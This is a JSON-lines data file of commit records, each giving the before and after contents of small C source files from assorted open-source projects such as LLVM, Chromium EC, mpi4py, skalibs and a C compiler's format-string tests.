{"commit":"127cab2cc7e9b6f474d4768b173af630d8b81840","old_file":"runtime\/libprofile\/EdgeProfiling.c","new_file":"runtime\/libprofile\/EdgeProfiling.c","old_contents":"","new_contents":"\/*===-- EdgeProfiling.c - Support library for edge profiling --------------===*\\\n|*\n|*                     The LLVM Compiler Infrastructure\n|*\n|* This file was developed by the LLVM research group and is distributed under\n|* the University of Illinois Open Source License. See LICENSE.TXT for details.\n|* \n|*===----------------------------------------------------------------------===*|\n|* \n|* This file implements the call back routines for the edge profiling\n|* instrumentation pass.  This should be used with the -insert-edge-profiling\n|* LLVM pass.\n|*\n\\*===----------------------------------------------------------------------===*\/\n\n#include \"Profiling.h\"\n#include <stdlib.h>\n\nstatic unsigned *ArrayStart;\nstatic unsigned NumElements;\n\n\/* EdgeProfAtExitHandler - When the program exits, just write out the profiling\n * data.\n *\/\nstatic void EdgeProfAtExitHandler() {\n  \/* Note that if this were doing something more intellegent with the\n     instrumentation, that we could do some computation here to expand what we\n     collected into simple edge profiles.  Since we directly count each edge, we\n     just write out all of the counters directly.\n  *\/\n  write_profiling_data(Edge, ArrayStart, NumElements);\n}\n\n\n\/* llvm_start_edge_profiling - This is the main entry point of the edge\n * profiling library.  It is responsible for setting up the atexit handler.\n *\/\nint llvm_start_edge_profiling(int argc, const char **argv,\n                              unsigned *arrayStart, unsigned numElements) {\n  int Ret = save_arguments(argc, argv);\n  ArrayStart = arrayStart;\n  NumElements = numElements;\n  atexit(EdgeProfAtExitHandler);\n  return Ret;\n}\n","subject":"Add edge profiling support to the runtime library","message":"Add edge profiling support to the runtime library\n\n\ngit-svn-id: 0ff597fd157e6f4fc38580e8d64ab130330d2411@12227 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"llvm-mirror\/llvm,llvm-mirror\/llvm,chubbymaggie\/asap,chubbymaggie\/asap,llvm-mirror\/llvm,apple\/swift-llvm,llvm-mirror\/llvm,llvm-mirror\/llvm,apple\/swift-llvm,GPUOpen-Drivers\/llvm,llvm-mirror\/llvm,dslab-epfl\/asap,chubbymaggie\/asap,GPUOpen-Drivers\/llvm,GPUOpen-Drivers\/llvm,chubbymaggie\/asap,GPUOpen-Drivers\/llvm,dslab-epfl\/asap,apple\/swift-llvm,GPUOpen-Drivers\/llvm,apple\/swift-llvm,GPUOpen-Drivers\/llvm,dslab-epfl\/asap,apple\/swift-llvm,GPUOpen-Drivers\/llvm,dslab-epfl\/asap,llvm-mirror\/llvm,GPUOpen-Drivers\/llvm,llvm-mirror\/llvm,llvm-mirror\/llvm,apple\/swift-llvm,apple\/swift-llvm,dslab-epfl\/asap,dslab-epfl\/asap,chubbymaggie\/asap,dslab-epfl\/asap,chubbymaggie\/asap,apple\/swift-llvm"}
{"commit":"99cfb3fab40afe555fc0c84292630d04f10301ce","old_file":"tests\/regression\/36-octapron\/42-threadenter-arg.c","new_file":"tests\/regression\/36-octapron\/42-threadenter-arg.c","old_contents":"","new_contents":"\/\/ SKIP PARAM: --sets ana.activated[+] octApron\n#include <pthread.h>\n#include <assert.h>\n\nvoid *t_fun(int arg) {\n  assert(arg == 3); \/\/ TODO (cast through void*)\n  return NULL;\n}\n\nint main(void) {\n  int x = 3;\n\n  pthread_t id;\n  pthread_create(&id, NULL, t_fun, x);\n\n  return 0;\n}\n","subject":"Add octApron test where thread function has tracked arg","message":"Add octApron test where thread function has tracked arg\n","lang":"C","license":"mit","repos":"goblint\/analyzer,goblint\/analyzer,goblint\/analyzer,goblint\/analyzer,goblint\/analyzer"}
{"commit":"24663de702224e464ac5036ddea96f4cc070f090","old_file":"TrackingControllerDefs.h","new_file":"TrackingControllerDefs.h","old_contents":"\/\/\n\/\/  TrackingControllerDefs.h\n\/\/\n\/\/  Created by Matt Martel on 02\/20\/09\n\/\/  Copyright Mundue LLC 2008-2011. All rights reserved.\n\/\/\n\n\/\/ Create an account at http:\/\/www.flurry.com\n\/\/ Code and integration instructions at\n\/\/ http:\/\/dev.flurry.com\/createProjectSelectPlatform.do\n#define USES_FLURRY\n#define kFlurryAPIKey @\"YOUR_FLURRY_API_KEY\"\n\n\/\/ Create an account at http:\/\/www.localytics.com\n\/\/ Code and integration instructions at\n\/\/  http:\/\/wiki.localytics.com\/doku.php\n#define USES_LOCALYTICS\n#define kLocalyticsAppKey @\"YOUR_LOCALITICS_APP_KEY\"\n\n\/\/ Create an account at http:\/\/www.google.com\/analytics\n\/\/ Code and integration instructions at\n\/\/ http:\/\/code.google.com\/mobile\/analytics\/docs\/iphone\/\n#define USES_GANTRACKER\n#define kGANAccountIDKey @\"YOUR_GOOGLE_ANALYTICS_ACCOUNT_ID\"\n#define kGANCategoryKey @\"YOUR_APP_NAME\"","new_contents":"\/\/\n\/\/  TrackingControllerDefs.h\n\/\/\n\/\/  Created by Matt Martel on 02\/20\/09\n\/\/  Copyright Mundue LLC 2008-2011. All rights reserved.\n\/\/\n\n\/\/ Create an account at http:\/\/www.flurry.com\n\/\/ Code and integration instructions at\n\/\/ http:\/\/dev.flurry.com\/createProjectSelectPlatform.do\n\/\/ Uncomment the following two lines to use Flurry\n\/\/#define USES_FLURRY\n\/\/#define kFlurryAPIKey @\"YOUR_FLURRY_API_KEY\"\n\n\/\/ Create an account at http:\/\/www.localytics.com\n\/\/ Code and integration instructions at\n\/\/  http:\/\/wiki.localytics.com\/doku.php\n\/\/ Uncomment the following two lines to use Localytics\n\/\/#define USES_LOCALYTICS\n\/\/#define kLocalyticsAppKey @\"YOUR_LOCALITICS_APP_KEY\"\n\n\/\/ Create an account at http:\/\/www.google.com\/analytics\n\/\/ Code and integration instructions at\n\/\/ http:\/\/code.google.com\/mobile\/analytics\/docs\/iphone\/\n\/\/ Uncomment the following three lines to use Google Analytics\n\/\/#define USES_GANTRACKER\n\/\/#define kGANAccountIDKey @\"YOUR_GOOGLE_ANALYTICS_ACCOUNT_ID\"\n\/\/#define kGANCategoryKey @\"YOUR_APP_NAME\"","subject":"Comment out services by default","message":"Comment out services by default\n","lang":"C","license":"mit","repos":"mundue\/MMTrackingController"}
{"commit":"a1649d151f681dc4b3d8d65fabc5bedee80b3e0e","old_file":"driver\/ioexpander_pca9555.h","new_file":"driver\/ioexpander_pca9555.h","old_contents":"","new_contents":"\/* Copyright 2017 The Chromium OS Authors. All rights reserved.\n * Use of this source code is governed by a BSD-style license that can be\n * found in the LICENSE file.\n *\n * NXP PCA9555 I\/O Port expander driver header\n *\/\n\n#ifndef __CROS_EC_IOEXPANDER_PCA9555_H\n#define __CROS_EC_IOEXPANDER_PCA9555_H\n\n#include \"i2c.h\"\n\n#define PCA9555_CMD_INPUT_PORT_0\t\t0\n#define PCA9555_CMD_INPUT_PORT_1\t\t1\n#define PCA9555_CMD_OUTPUT_PORT_0\t\t2\n#define PCA9555_CMD_OUTPUT_PORT_1\t\t3\n#define PCA9555_CMD_POLARITY_INVERSION_PORT_0\t4\n#define PCA9555_CMD_POLARITY_INVERSION_PORT_1\t5\n#define PCA9555_CMD_CONFIGURATION_PORT_0\t6\n#define PCA9555_CMD_CONFIGURATION_PORT_1\t7\n\n#define PCA9555_IO_0\t(1 << 0)\n#define PCA9555_IO_1\t(1 << 1)\n#define PCA9555_IO_2\t(1 << 2)\n#define PCA9555_IO_3\t(1 << 3)\n#define PCA9555_IO_4\t(1 << 4)\n#define PCA9555_IO_5\t(1 << 5)\n#define PCA9555_IO_6\t(1 << 6)\n#define PCA9555_IO_7\t(1 << 7)\n\nstatic inline int pca9555_read(int port, int addr, int reg, int *data_ptr)\n{\n\treturn i2c_read8(port, addr, reg, data_ptr);\n}\n\nstatic inline int pca9555_write(int port, int addr, int reg, int data)\n{\n\treturn i2c_write8(port, addr, reg, data);\n}\n\n#endif \/* __CROS_EC_IOEXPANDER_PCA9555_H *\/\n","subject":"Add driver header for PCA9555 I\/O port controller","message":"driver: Add driver header for PCA9555 I\/O port controller\n\nBUG=b:64394037\nBRANCH=glkrvp\nTEST=Manually tested on GLKRVP, i2cxfer works\n\nChange-Id: If65e5039987ecbb7fa2a3a5eeeef5af6d73ab66a\nSigned-off-by: Vijay Hiremath <006c712879a3af08bfdb5c2b8491a8b2d5fd73cd@intel.com>\nReviewed-on: https:\/\/chromium-review.googlesource.com\/603987\nCommit-Ready: Vijay P Hiremath <006c712879a3af08bfdb5c2b8491a8b2d5fd73cd@intel.com>\nTested-by: Vijay P Hiremath <006c712879a3af08bfdb5c2b8491a8b2d5fd73cd@intel.com>\nReviewed-by: Aaron Durbin <af0622ab041e8b0f8e5819838dcc93898196e71f@chromium.org>\nReviewed-by: Aseda Aboagye <12c9b286316a940fd31c24070da5ab64cdd4d0e7@chromium.org>\n","lang":"C","license":"bsd-3-clause","repos":"coreboot\/chrome-ec,coreboot\/chrome-ec,coreboot\/chrome-ec,coreboot\/chrome-ec,coreboot\/chrome-ec,coreboot\/chrome-ec"}
{"commit":"be6731907e49267c90782990833b71513d3ae7f6","old_file":"solutions\/uri\/1061\/1061.c","new_file":"solutions\/uri\/1061\/1061.c","old_contents":"","new_contents":"#include <stdio.h>\n\nint main() {\n    int d, dd, h, hh, m, mm, s, ss;\n\n    scanf(\"Dia %d\", &d);\n    scanf(\"%d : %d : %d\\n\", &h, &m, &s);\n    scanf(\"Dia %d\", &dd);\n    scanf(\"%d : %d : %d\", &hh, &mm, &ss);\n\n    s = ss - s;\n    m = mm - m;\n    h = hh - h;\n    d = dd - d;\n\n    if (s < 0) {\n        s += 60;\n        m--;\n    }\n\n    if (m < 0) {\n        m += 60;\n        h--;\n    }\n\n    if (h < 0) {\n        h += 24;\n        d--;\n    }\n\n    printf(\"%d dia(s)\\n\", d);\n    printf(\"%d hora(s)\\n\", h);\n    printf(\"%d minuto(s)\\n\", m);\n    printf(\"%d segundo(s)\\n\", s);\n\n    return 0;\n}\n","subject":"Solve Event Time in c","message":"Solve Event Time in c\n","lang":"C","license":"mit","repos":"deniscostadsc\/playground,deniscostadsc\/playground,deniscostadsc\/playground,deniscostadsc\/playground,deniscostadsc\/playground,deniscostadsc\/playground,deniscostadsc\/playground,deniscostadsc\/playground,deniscostadsc\/playground,deniscostadsc\/playground,deniscostadsc\/playground,deniscostadsc\/playground,deniscostadsc\/playground,deniscostadsc\/playground"}
{"commit":"dc6eb0cb921f9b92a234145877fc8036b224df29","old_file":"tests\/test_lexlines.c","new_file":"tests\/test_lexlines.c","old_contents":"","new_contents":"\/* Tests for preprocessor rules, comments, line continuations, etc.*\/\n\n#include <sys\/neutrino.h>   \/\/ comment\n#include <sys\/mman.h>       \/\/ comment\n\n#include <xxx.h> \/\/ comment \\\n\tcomment\nREGULAR LINE\n\n#include <xxx.h> \/\/ comment \\\n\nREGULAR LINE\n\n#include \\\n<xxx.h>\n<REGULAR LINE>\n\n#define macro \/\/ comment \\\n\tcomment\n#define macro() \/* block comment \\\n\tcomment *\/ body \\\n#define NOT_A_NAME, still the body \\\n\tvoid not_a_function(void) {}\n\n#define exprintf(expr,         \\\n\t\t\/* optional *\/ msg...) \\\n\t__exprintf(#expr,  \\\n\t\t(int) (expr),  \\\n\t\t\"%s: %d\\n\" msg)\n#define __exprintf(str_expr, \\\n\t\texpr, fmt, args...)  \\\n\tprintf(fmt, \\\n\t\tstr_expr, expr, ##args)\n\n#if 0\n#define COMMENT\ncomment\n#endif\n\n\/\/ comment \\\n\/\/ comment \\\nstill a comment\nREGULAR LINE\n\n\/\/ comment \/* block *\/ comment\n\n#assert <- DEPRECATED\n#sdfasd <- INVALID\n#line\n","subject":"Add a test for line-based rules","message":"lex-continuation: Add a test for line-based rules\n\nI.e. # preprocessor directives, \/\/ line comments, \\ line continuations\nand their inter-op.\n","lang":"C","license":"mit","repos":"abusalimov\/SublimeCImproved,abusalimov\/SublimeCImproved"}
{"commit":"e4f4ddadac119535f6cd7e1eb612f3de35100516","old_file":"include\/tasks\/train_master.h","new_file":"include\/tasks\/train_master.h","old_contents":"\n#ifndef __TRAIN_MASTER_H__\n#define __TRAIN_MASTER_H__\n\nvoid __attribute__ ((noreturn)) train_master();\n\ntypedef enum {\n    MASTER_CHANGE_SPEED,\n    MASTER_REVERSE,  \/\/ step 1\n    MASTER_REVERSE2, \/\/ step 2 (used by delay courier)\n    MASTER_REVERSE3, \/\/ step 3 (used by delay courier)\n    MASTER_WHERE_ARE_YOU,\n    MASTER_STOP_AT_SENSOR,\n    MASTER_GOTO_LOCATION,\n    MASTER_DUMP_VELOCITY_TABLE,\n\n    MASTER_UPDATE_FEEDBACK_THRESHOLD,\n    MASTER_UPDATE_FEEDBACK_ALPHA,\n    MASTER_UPDATE_STOP_OFFSET,\n    MASTER_UPDATE_CLEARANCE_OFFSET,\n\n    MASTER_ACCELERATION_COMPLETE,\n    MASTER_NEXT_NODE_ESTIMATE,\n\n    MASTER_SENSOR_FEEDBACK,\n    MASTER_UNEXPECTED_SENSOR_FEEDBACK\n} master_req_type;\n\ntypedef struct {\n    master_req_type type;\n    int  arg1;\n    int  arg2;\n    int  arg3;\n} master_req;\n\n#endif\n","new_contents":"\n#ifndef __TRAIN_MASTER_H__\n#define __TRAIN_MASTER_H__\n\nvoid __attribute__ ((noreturn)) train_master();\n\ntypedef enum {\n    MASTER_CHANGE_SPEED,\n    MASTER_REVERSE,  \/\/ step 1\n    MASTER_REVERSE2, \/\/ step 2 (used by delay courier)\n    MASTER_REVERSE3, \/\/ step 3 (used by delay courier)\n    MASTER_WHERE_ARE_YOU,\n    MASTER_STOP_AT_SENSOR,\n    MASTER_GOTO_LOCATION,\n    MASTER_DUMP_VELOCITY_TABLE,\n\n    MASTER_UPDATE_FEEDBACK_THRESHOLD,\n    MASTER_UPDATE_FEEDBACK_ALPHA,\n    MASTER_UPDATE_STOP_OFFSET,\n    MASTER_UPDATE_CLEARANCE_OFFSET,\n\n    MASTER_ACCELERATION_COMPLETE,\n    MASTER_NEXT_NODE_ESTIMATE,\n\n    MASTER_SENSOR_FEEDBACK,\n    MASTER_UNEXPECTED_SENSOR_FEEDBACK\n} master_req_type;\n\ntypedef struct {\n    master_req_type type;\n    int  arg1;\n    int  arg2;\n} master_req;\n\n#endif\n","subject":"Remove unused argument space from master req","message":"Remove unused argument space from master req","lang":"C","license":"mit","repos":"ferrous26\/cs452-flaming-meme,ferrous26\/cs452-flaming-meme,ferrous26\/cs452-flaming-meme"}
{"commit":"61797de177d095713049cbd8c4f830cc5d0c7045","old_file":"BotKit\/BotKit.h","new_file":"BotKit\/BotKit.h","old_contents":"\/\/\n\/\/  BotKit.h\n\/\/  BotKit\n\/\/\n\/\/  Created by Mark Adams on 9\/28\/12.\n\/\/  Copyright (c) 2012 thoughtbot. All rights reserved.\n\/\/\n\n#import \"BKCoreDataManager.h\"\n#import \"BKManagedViewController.h\"\n#import \"BKManagedTableViewController.h\"\n#import \"NSObject+BKCoding.h\"\n#import \"NSArray+ObjectAccess.h\"\n#import \"NSDate+RelativeDates.h\"\n#import \"UIColor+AdjustColor.h\"\n#import \"UIColor+Serialization.h\"\n\n\/* \n\nTODOS:\n \nBKImageLoader\n -imageWithContentsOfURL:completionHandler:\n -imageWithContentsOFURLPath:completionHandler:\n\nUIImage:\n +imageWithContentsOfURLPath:\n \nNSURLRequest:\n +requestWithString:\n +requestWithURL:\n \nNSDate:\n -dateStringWithFormat:\n -dateStringWithStyle:\n  \n*\/\n \n\n","new_contents":"\/\/\n\/\/  BotKit.h\n\/\/  BotKit\n\/\/\n\/\/  Created by Mark Adams on 9\/28\/12.\n\/\/  Copyright (c) 2012 thoughtbot. All rights reserved.\n\/\/\n\n#import \"BKCoreDataManager.h\"\n#import \"BKManagedViewController.h\"\n#import \"BKManagedTableViewController.h\"\n#import \"NSObject+BKCoding.h\"\n#import \"NSArray+ObjectAccess.h\"\n#import \"NSDate+RelativeDates.h\"\n#import \"UIColor+AdjustColor.h\"\n#import \"UIColor+Serialization.h\"\n#import \"NSData+Base64Encoding.h\"\n\n\/* \n\nTODOS:\n \nBKImageLoader\n -imageWithContentsOfURL:completionHandler:\n -imageWithContentsOFURLPath:completionHandler:\n\nUIImage:\n +imageWithContentsOfURLPath:\n \nNSURLRequest:\n +requestWithString:\n +requestWithURL:\n \nNSDate:\n -dateStringWithFormat:\n -dateStringWithStyle:\n  \n*\/\n \n\n","subject":"Add NSData+Base64Encoding.h to main header","message":"Add NSData+Base64Encoding.h to main header\n","lang":"C","license":"mit","repos":"thoughtbot\/BotKit,thoughtbot\/BotKit"}
{"commit":"f3e611c9e373a0147be472cb7913f3604baf2a08","old_file":"log.c","new_file":"log.c","old_contents":"#include \"log.h\"\n#include \"timeutil.h\"\n#include <stdarg.h>\n#include <stdbool.h>\n#include <stdio.h>\n#include <stdlib.h>\n#include <string.h>\n\nstatic bool flushAfterLog = false;\n\nvoid proxyLogSetFlush(bool enabled)\n{\n  flushAfterLog = enabled;\n}\n\nvoid proxyLog(const char* format, ...)\n{\n  va_list args;\n\n  va_start(args, format);\n\n  printTimeString();\n  printf(\" \");\n  vprintf(format, args);\n  printf(\"\\n\");\n\n  if (flushAfterLog)\n  {\n    fflush(stdout);\n  }\n\n  va_end(args);\n}\n","new_contents":"#include \"log.h\"\n#include \"timeutil.h\"\n#include <stdarg.h>\n#include <stdbool.h>\n#include <stdio.h>\n#include <stdlib.h>\n#include <string.h>\n\nstatic bool flushAfterLog = false;\n\nvoid proxyLogSetFlush(bool enabled)\n{\n  flushAfterLog = enabled;\n}\n\nvoid proxyLog(const char* format, ...)\n{\n  va_list args;\n\n  va_start(args, format);\n\n  printTimeString();\n  putchar(' ');\n  vprintf(format, args);\n  putchar('\\n');\n\n  if (flushAfterLog)\n  {\n    fflush(stdout);\n  }\n\n  va_end(args);\n}\n","subject":"Use putchar instead of printf.","message":"Use putchar instead of printf.\n","lang":"C","license":"mit","repos":"aaronriekenberg\/openbsd_cproxy,aaronriekenberg\/openbsd_cproxy"}
{"commit":"ad9cd9bfff8f0b7428c68ba02857a5789d8c3b77","old_file":"demo\/embedding\/helloworld.c","new_file":"demo\/embedding\/helloworld.c","old_contents":"#include <stdio.h>\n#include <mpi.h>\n#include <Python.h>\n\nconst char helloworld[] = \\\n  \"from mpi4py import MPI\t\t\t\t \\n\"\n  \"hwmess = 'Hello, World! I am process %d of %d on %s.' \\n\"\n  \"myrank = MPI.COMM_WORLD.Get_rank()\t\t\t \\n\"\n  \"nprocs = MPI.COMM_WORLD.Get_size()\t\t\t \\n\"\n  \"procnm = MPI.Get_processor_name()\t\t\t \\n\"\n  \"print (hwmess % (myrank, nprocs, procnm))             \\n\"\n  \"\";\n\nint main(int argc, char *argv[])\n{\n  int ierr, rank, size;\n\n  ierr = MPI_Init(&argc, &argv);\n  ierr = MPI_Comm_rank(MPI_COMM_WORLD, &rank);\n  ierr = MPI_Comm_size(MPI_COMM_WORLD, &size);\n\n  MPI_Barrier(MPI_COMM_WORLD);\n  Py_Initialize();\n  PyRun_SimpleString(helloworld);\n  Py_Finalize();\n  MPI_Barrier(MPI_COMM_WORLD);\n\n  if (rank == 0) {\n    printf(\"\\n\");\n    fflush(stdout);\n    fflush(stderr);\n  }\n\n  MPI_Barrier(MPI_COMM_WORLD);\n  Py_Initialize();\n  PyRun_SimpleString(helloworld);\n  Py_Finalize();\n  MPI_Barrier(MPI_COMM_WORLD);\n\n  ierr = MPI_Finalize();\n  return 0;\n}\n","new_contents":"\/* \n *  You can use safely use mpi4py between multiple \n *  Py_Initialize()\/Py_Finalize() calls ...\n *  but do not blame me for the memory leaks ;-)\n *\n *\/\n\n#include <mpi.h>\n#include <Python.h>\n\nconst char helloworld[] = \\\n  \"from mpi4py import MPI\t\t\t\t \\n\"\n  \"hwmess = 'Hello, World! I am process %d of %d on %s.' \\n\"\n  \"myrank = MPI.COMM_WORLD.Get_rank()\t\t\t \\n\"\n  \"nprocs = MPI.COMM_WORLD.Get_size()\t\t\t \\n\"\n  \"procnm = MPI.Get_processor_name()\t\t\t \\n\"\n  \"print (hwmess % (myrank, nprocs, procnm))             \\n\"\n  \"\";\n\nint main(int argc, char *argv[])\n{\n  int i,n=5;\n\n  MPI_Init(&argc, &argv);\n\n  for (i=0; i<n; i++) {\n    Py_Initialize();\n    PyRun_SimpleString(helloworld);\n    Py_Finalize();\n  }\n\n  MPI_Finalize();\n  \n  return 0;\n}\n","subject":"Update and simplify embedding demo","message":"Update and simplify embedding demo","lang":"C","license":"bsd-2-clause","repos":"pressel\/mpi4py,pressel\/mpi4py,mpi4py\/mpi4py,mpi4py\/mpi4py,mpi4py\/mpi4py,pressel\/mpi4py,pressel\/mpi4py"}
{"commit":"c3aad0461ff755aaf50dc5c734f362fc488b6d31","old_file":"utility.h","new_file":"utility.h","old_contents":"#pragma once\n\nnamespace mmh {\n\ntemplate <typename Size, typename Object>\nconstexpr Size sizeof_t()\n{\n    return gsl::narrow<Size>(sizeof Object);\n}\n\ntemplate <typename Size, typename Value>\nconstexpr Size sizeof_t(const Value& value)\n{\n    return gsl::narrow<Size>(sizeof value);\n}\n\n} \/\/ namespace mmh\n","new_contents":"#pragma once\n\nnamespace mmh {\n\ntemplate <typename Size, typename Object>\nconstexpr Size sizeof_t()\n{\n    return gsl::narrow<Size>(sizeof(Object));\n}\n\ntemplate <typename Size, typename Value>\nconstexpr Size sizeof_t(const Value& value)\n{\n    return gsl::narrow<Size>(sizeof value);\n}\n\n} \/\/ namespace mmh\n","subject":"Add missing brackets needed for Clang","message":"Add missing brackets needed for Clang\n\n","lang":"C","license":"bsd-3-clause","repos":"reupen\/mmh,reupen\/mmh"}
{"commit":"2953f13d4dd38f06ae52ff09532bc2e401c46738","old_file":"src\/main.c","new_file":"src\/main.c","old_contents":"#include <pebble.h>\n#include \"pebcessing\/pebcessing.h\"\n\n\nstatic Window *window = NULL;\n\n\nstatic void init(void)\n{\n  window = window_create();\n\n  window_set_fullscreen(window, true);\n\n  window_stack_push(window, true);\n}\n\nstatic void deinit(void)\n{\n  window_destroy(window);\n}\n\nint main(void)\n{\n  init();\n\n  init_pebcessing(window, window_get_root_layer(window));\n\n  app_event_loop();\n\n  deinit_pebcessing();\n\n  deinit();\n\n  return 0;\n}\n","new_contents":"#include <pebble.h>\n#include \"pebcessing\/pebcessing.h\"\n\n\nstatic Window *window = NULL;\n\n\nstatic void init(void)\n{\n  window = window_create();\n\n\/\/ Make the window fullscreen.\n\/\/ All Windows are fullscreen-only on the Basalt platform.\n#ifdef PBL_PLATFORM_APLITE\n  window_set_fullscreen(window, true);\n#endif\n\n  window_stack_push(window, true);\n}\n\nstatic void deinit(void)\n{\n  window_destroy(window);\n}\n\nint main(void)\n{\n  init();\n\n  init_pebcessing(window, window_get_root_layer(window));\n\n  app_event_loop();\n\n  deinit_pebcessing();\n\n  deinit();\n\n  return 0;\n}\n","subject":"Change so that window_set_fullscreen() is called only on the Aplite platform","message":"Change so that window_set_fullscreen() is called only on the Aplite platform\n","lang":"C","license":"mit","repos":"hikoLab\/pebcessing,hikoLab\/pebcessing,itosue\/pebcessing,itosue\/pebcessing,hikoLab\/pebcessing,itosue\/pebcessing"}
{"commit":"fe59f3886ddc97f26e2bbad5039302aa7061a918","old_file":"include\/skbuff.h","new_file":"include\/skbuff.h","old_contents":"#ifndef SKBUFF_H_\n#define SKBUFF_H_\n\n#include \"netdev.h\"\n#include \"dst.h\"\n#include \"list.h\"\n#include <pthread.h>\n\nstruct sk_buff {\n    struct list_head list;\n    struct dst_entry *dst;\n    struct netdev *netdev;\n    uint16_t protocol;\n    uint32_t len;\n    uint8_t *tail;\n    uint8_t *end;\n    uint8_t *head;\n    uint8_t *data;\n};\n\nstruct sk_buff_head {\n    struct list_head head;\n\n    uint32_t qlen;\n    pthread_mutex_t lock;\n};\n\nstruct sk_buff *alloc_skb(unsigned int size);\nvoid free_skb(struct sk_buff *skb);\nuint8_t *skb_push(struct sk_buff *skb, unsigned int len);\nuint8_t *skb_head(struct sk_buff *skb);\nvoid *skb_reserve(struct sk_buff *skb, unsigned int len);\nvoid skb_dst_set(struct sk_buff *skb, struct dst_entry *dst);\n\nstatic inline void skb_queue_init(struct sk_buff_head *list)\n{\n    list_init(&list->head);\n    list->qlen = 0;\n    pthread_mutex_init(&list->lock, NULL);\n}\n\n#endif\n","new_contents":"#ifndef SKBUFF_H_\n#define SKBUFF_H_\n\n#include \"netdev.h\"\n#include \"dst.h\"\n#include \"list.h\"\n#include <pthread.h>\n\nstruct sk_buff {\n    struct list_head list;\n    struct dst_entry *dst;\n    struct netdev *netdev;\n    uint16_t protocol;\n    uint32_t len;\n    uint8_t *tail;\n    uint8_t *end;\n    uint8_t *head;\n    uint8_t *data;\n};\n\nstruct sk_buff_head {\n    struct list_head head;\n\n    uint32_t qlen;\n    pthread_mutex_t lock;\n};\n\nstruct sk_buff *alloc_skb(unsigned int size);\nvoid free_skb(struct sk_buff *skb);\nuint8_t *skb_push(struct sk_buff *skb, unsigned int len);\nuint8_t *skb_head(struct sk_buff *skb);\nvoid *skb_reserve(struct sk_buff *skb, unsigned int len);\nvoid skb_dst_set(struct sk_buff *skb, struct dst_entry *dst);\n\nstatic inline uint32_t skb_queue_len(const struct sk_buff_head *list)\n{\n    return list->qlen;\n}\n\nstatic inline void skb_queue_init(struct sk_buff_head *list)\n{\n    list_init(&list->head);\n    list->qlen = 0;\n    pthread_mutex_init(&list->lock, NULL);\n}\n\n#endif\n","subject":"Add skb queue length getter","message":"Add skb queue length getter\n","lang":"C","license":"mit","repos":"saminiir\/level-ip,saminiir\/level-ip"}
{"commit":"e64c4a9d47aafaa59bbc42ab7b6ad7b3c0e76cb8","old_file":"test\/format\/precision_fieldwidth.c","new_file":"test\/format\/precision_fieldwidth.c","old_contents":"","new_contents":"\/\/ RUN: %check --only --prefix=linux %s -target x86_64-linux\n\/\/ RUN: %check --prefix=darwin %s -target x86_64-darwin\n\nint printf(const char *, ...)\n\t__attribute((format(printf, 1, 2)));\n\ntypedef unsigned long size_t;\ntypedef long ptrdiff_t;\ntypedef unsigned long uintptr_t;\ntypedef long intptr_t;\n\nint main()\n{\n\t\/\/ TODO:\n\t\/\/ [ ] test all these\n\t\/\/ [ ] truncations part way\n\t\/\/ [ ] bad length modifiers\n\n\t\/\/ modifiers: \"#0- +'\"\n\t\/\/ field width: 0-9 | *\n\t\/\/ precision: . ( 0-9 | * )\n\t\/\/ length modifiers: 'h' 'l' 'L' 'j' 't' 'z'\n\t\/\/ format char\n\t\/\/ %m on {,non-}linux\n\n\tprintf(\"%#f\", 5.2f);\n\tprintf(\"%0f\", 5.2f);\n\tprintf(\"%-f\", 5.2f);\n\tprintf(\"% f\", 5.2f);\n\tprintf(\"%+f\", 5.2f);\n\tprintf(\"%'f\", 5.2f);\n\tprintf(\"%#0' +f\", 21.f);\n\n\tprintf(\"%23d\", 5);\n\tprintf(\"%35a\", 5.2);\n\tprintf(\"%35.a\", 5.2);\n\tprintf(\"%*.g\", 3, 5.2);\n\tprintf(\"%'.*g\", 3, 5.2);\n\tprintf(\"%#2.*g\", 3, 5.2);\n\tprintf(\"%+*.1e\", 3, 5.2);\n\n\tprintf(\"%m\\n\"); \/\/ CHECK-darwin: warning: %m used on non-linux system\n\n\tprintf(\"%+*.1q\", 3, 5.2); \/\/ CHECK-linux: warning: invalid conversion character\n\n\tprintf(\"%#\"); \/\/ CHECK-linux: warning: invalid modifier character\n\n\tprintf(\"%23\"); \/\/ CHECK-linux: warning: invalid field width\n\tprintf(\"%35.\"); \/\/ CHECK-linux: warning: incomplete format specifier (missing precision)\n\tprintf(\"%*\"); \/\/ CHECK-linux: warning: invalid field width\n\tprintf(\"%'.*\"); \/\/ CHECK-linux: warning: invalid precision\n\tprintf(\"%+*.1\"); \/\/ CHECK-linux: warning: invalid precision\n}\n","subject":"Test precision and field-width format handling","message":"Test precision and field-width format handling\n","lang":"C","license":"mit","repos":"bobrippling\/ucc-c-compiler,bobrippling\/ucc-c-compiler,bobrippling\/ucc-c-compiler"}
{"commit":"f599206963000fd0de474893ba63016392ce988c","old_file":"WOLRelay.c","new_file":"WOLRelay.c","old_contents":"","new_contents":"#include <stdio.h>\n#include <stdlib.h>\n#include <string.h>\n#include <unistd.h>\n#include <sys\/socket.h>\n\nint main(int argc, char* argv[]){\n\n}","subject":"Add main C file with standard includes","message":"Add main C file with standard includes\n","lang":"C","license":"mit","repos":"ytaben\/WakeOnLanRelay"}
{"commit":"122f9363682e5de8ce4056c4c05c1eaf8935cf19","old_file":"src\/libstddjb\/cdb_free.c","new_file":"src\/libstddjb\/cdb_free.c","old_contents":"\/* ISC license. *\/\n\n#include <sys\/mman.h>\n#include <skalibs\/cdb.h>\n\nextern void cdb_free (struct cdb *c)\n{\n  if (c->map) munmap(c->map, c->size) ;\n  *c = cdb_zero ;\n}\n","new_contents":"\/* ISC license. *\/\n\n#include <sys\/mman.h>\n#include <errno.h>\n\n#include <skalibs\/cdb.h>\n\nextern void cdb_free (struct cdb *c)\n{\n  if (c->map)\n  {\n    int e = errno ;\n    munmap(c->map, c->size) ;\n    errno = e ;\n  }\n  *c = cdb_zero ;\n}\n","subject":"Save errno when freeing a cdb","message":" Save errno when freeing a cdb\n\nSigned-off-by: Laurent Bercot <3aa9adbbb49a4d5ab9c798d5e366f54570870800@appnovation.com>\n","lang":"C","license":"isc","repos":"skarnet\/skalibs,skarnet\/skalibs"}
